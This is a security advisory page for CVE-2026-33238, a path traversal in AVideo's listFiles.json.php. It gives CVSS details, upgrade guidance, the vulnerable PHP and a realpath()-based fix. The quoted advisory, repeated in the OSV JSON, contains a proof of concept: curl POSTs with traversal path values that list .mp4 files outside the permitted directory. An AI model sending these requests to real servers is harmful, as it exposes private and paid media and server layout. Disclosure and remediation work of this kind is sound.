CVE-2026-33238: Wwbn/avideo Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-4wmm-6qxj-fpj4
CVSS 4.3
CWE-22
Published
Advisory Summary

CVE-2026-33238 is a MODERATE (CVSS 4.3) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has a path traversal in listfiles.json.php enables server filesystem enumeration. Remediation is available by upgrading affected packages to version 26.0.

CVE-2026-33238 at a Glance

CVE Identifier CVE-2026-33238
GHSA Identifier GHSA-4wmm-6qxj-fpj4
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-33238

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: 26.0
Upgrade wwbn/avideo to 26.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33238, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `listFiles.json.php` endpoint accepts a `path` POST parameter and passes it directly to `glob()` without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating `.mp4` filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories. ## Details The vulnerable code is at `objects/listFiles.json.php:8-45`: ```php if (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) { return false; } $global['allowed'] = ['mp4']; // ... if (!empty($_POST['path'])) { $path = $_POST['path']; if (substr($path, -1) !== '/') { $path .= "/"; } if (file_exists($path)) { $extn = implode(",*.", $global['allowed']); $filesStr = "{*." . $extn . ",*." . strtolower($extn) . ",*." . strtoupper($extn) . "}"; $video_array = glob($path . $filesStr, GLOB_BRACE); foreach ($video_array as $key => $value) { $filePath = mb_convert_encoding($value, 'UTF-8'); // ... $obj->path = $filePath; // Full absolute path returned to caller ``` The `$_POST['path']` value is used directly in `glob()` with no call to `realpath()` for normalization and no prefix check against a permitted base directory (e.g., `$global['systemRootPath'] . 'videos/'`). The response includes `obj->path` containing the full absolute filesystem path of each matched file. The extension filter (`{*.mp4,*.mp4,*.MP4}`) limits results to `.mp4` files, which prevents reading credentials or source code but does not prevent enumeration of video files stored in access-controlled locations such as: - Premium/paid content directories - Private or unlisted media stores - Backup directories containing `.mp4` files - Paths revealing sensitive server directory structure `canUpload` is a standard low-privilege role granted to any registered uploader; it does not imply administrative trust. ## PoC ```bash # Step 1: Authenticate as any user with canUpload permission # (standard uploader account) # Step 2: Enumerate MP4 files in the web root (expected behavior) curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \ -d "path=/var/www/html/videos/" # Returns: [{"id":0,"path":"/var/www/html/videos/video1.mp4","name":"video1.mp4"}, ...] # Step 3: Traverse outside intended directory to private content store curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \ -d "path=/var/private/premium-content/" # Returns: [{"id":0,"path":"/var/private/premium-content/paywalled-video.mp4","name":"paywalled-video.mp4"}, ...] # Step 4: Enumerate root filesystem for any MP4 files curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \ -d "path=/" # Returns all .mp4 files visible to the web server process anywhere on disk ``` **Expected behavior:** Only files within the designated upload directory should be listable. **Actual behavior:** Files from any path readable by the web server process are returned with full absolute paths. ## Impact - **Unauthorized media enumeration:** An uploader can discover private, premium, or access-controlled `.mp4` files stored outside their permitted directory. - **Filesystem structure disclosure:** Full absolute paths reveal server directory layout, aiding further attacks. - **Content bypass:** In AVideo deployments where premium video files are stored in filesystem directories not protected by application access control, this exposes the filenames and paths needed to directly access them if other path traversal or direct-file-access weaknesses are present. - **Blast radius:** Requires `canUpload` permission (low privilege), but this is the standard permission for all video uploaders on a multi-user AVideo instance. ## Recommended Fix Restrict the supplied path to an allowed base directory using `realpath()`: ```php if (!empty($_POST['path'])) { $allowedBase = realpath($global['systemRootPath'] . 'videos') . '/'; $path = realpath($_POST['path']); // Reject paths that don't start with the allowed base if ($path === false || strpos($path . '/', $allowedBase) !== 0) { http_response_code(403); echo json_encode(['error' => 'Path not allowed']); exit; } $path .= '/'; // ... continue with glob } ``` `realpath()` resolves `../` sequences before the prefix check, preventing traversal bypasses.

CVE-2026-33238 Affected Wwbn/avideo Versions

1 component(s)
Fixed Versions:
26.0
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
< 26.0
26.0

References

Frequently Asked Questions

What is CVE-2026-33238?
CVE-2026-33238 is a security vulnerability in Wwbn/avideo involving AVideo has a Path Traversal in listFiles.json.php Enables Server Filesystem Enumeration under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to 26.0 across affected packages: wwbn/avideo.
What version fixes CVE-2026-33238?
Upgrading to 26.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to 26.0. Upgrade your dependency to 26.0 or later.
What is the CVSS score of CVE-2026-33238?
CVE-2026-33238 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-33238?
CVE-2026-33238 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Packagist dependencies for CVE-2026-33238?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4wmm-6qxj-fpj4",
  "modified" : "2026-04-13T17:41:29Z",
  "published" : "2026-03-19T12:43:42Z",
  "aliases" : [ "CVE-2026-33238" ],
  "summary" : "AVideo has a Path Traversal in listFiles.json.php Enables Server Filesystem Enumeration",
  "details" : "## Summary\n\nThe `listFiles.json.php` endpoint accepts a `path` POST parameter and passes it directly to `glob()` without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating `.mp4` filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories.\n\n## Details\n\nThe vulnerable code is at `objects/listFiles.json.php:8-45`:\n\n```php\nif (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {\n    return false;\n}\n$global['allowed'] = ['mp4'];\n// ...\nif (!empty($_POST['path'])) {\n    $path = $_POST['path'];\n    if (substr($path, -1) !== '/') {\n        $path .= \"/\";\n    }\n    if (file_exists($path)) {\n        $extn = implode(\",*.\", $global['allowed']);\n        $filesStr = \"{*.\" . $extn . \",*.\" . strtolower($extn) . \",*.\" . strtoupper($extn) . \"}\";\n        $video_array = glob($path . $filesStr, GLOB_BRACE);\n        foreach ($video_array as $key => $value) {\n            $filePath = mb_convert_encoding($value, 'UTF-8');\n            // ...\n            $obj->path = $filePath;  // Full absolute path returned to caller\n```\n\nThe `$_POST['path']` value is used directly in `glob()` with no call to `realpath()` for normalization and no prefix check against a permitted base directory (e.g., `$global['systemRootPath'] . 'videos/'`). The response includes `obj->path` containing the full absolute filesystem path of each matched file.\n\nThe extension filter (`{*.mp4,*.mp4,*.MP4}`) limits results to `.mp4` files, which prevents reading credentials or source code but does not prevent enumeration of video files stored in access-controlled locations such as:\n- Premium/paid content directories\n- Private or unlisted media stores\n- Backup directories containing `.mp4` files\n- Paths revealing sensitive server directory structure\n\n`canUpload` is a standard low-privilege role granted to any registered uploader; it does not imply administrative trust.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as any user with canUpload permission\n# (standard uploader account)\n\n# Step 2: Enumerate MP4 files in the web root (expected behavior)\ncurl -b \"PHPSESSID=<session>\" -X POST https://target.avideo.site/listFiles \\\n  -d \"path=/var/www/html/videos/\"\n# Returns: [{\"id\":0,\"path\":\"/var/www/html/videos/video1.mp4\",\"name\":\"video1.mp4\"}, ...]\n\n# Step 3: Traverse outside intended directory to private content store\ncurl -b \"PHPSESSID=<session>\" -X POST https://target.avideo.site/listFiles \\\n  -d \"path=/var/private/premium-content/\"\n# Returns: [{\"id\":0,\"path\":\"/var/private/premium-content/paywalled-video.mp4\",\"name\":\"paywalled-video.mp4\"}, ...]\n\n# Step 4: Enumerate root filesystem for any MP4 files\ncurl -b \"PHPSESSID=<session>\" -X POST https://target.avideo.site/listFiles \\\n  -d \"path=/\"\n# Returns all .mp4 files visible to the web server process anywhere on disk\n```\n\n**Expected behavior:** Only files within the designated upload directory should be listable.\n**Actual behavior:** Files from any path readable by the web server process are returned with full absolute paths.\n\n## Impact\n\n- **Unauthorized media enumeration:** An uploader can discover private, premium, or access-controlled `.mp4` files stored outside their permitted directory.\n- **Filesystem structure disclosure:** Full absolute paths reveal server directory layout, aiding further attacks.\n- **Content bypass:** In AVideo deployments where premium video files are stored in filesystem directories not protected by application access control, this exposes the filenames and paths needed to directly access them if other path traversal or direct-file-access weaknesses are present.\n- **Blast radius:** Requires `canUpload` permission (low privilege), but this is the standard permission for all video uploaders on a multi-user AVideo instance.\n\n## Recommended Fix\n\nRestrict the supplied path to an allowed base directory using `realpath()`:\n\n```php\nif (!empty($_POST['path'])) {\n    $allowedBase = realpath($global['systemRootPath'] . 'videos') . '/';\n    $path = realpath($_POST['path']);\n\n    // Reject paths that don't start with the allowed base\n    if ($path === false || strpos($path . '/', $allowedBase) !== 0) {\n        http_response_code(403);\n        echo json_encode(['error' => 'Path not allowed']);\n        exit;\n    }\n    $path .= '/';\n    // ... continue with glob\n}\n```\n\n`realpath()` resolves `../` sequences before the prefix check, preventing traversal bypasses.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 25.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wmm-6qxj-fpj4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33238"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/issues/10403"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/870cf24a7632d4f1a5d5549b59103c18f39e3a21"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-19T12:43:42Z",
    "nvd_published_at" : "2026-03-21T00:16:26Z"
  }
}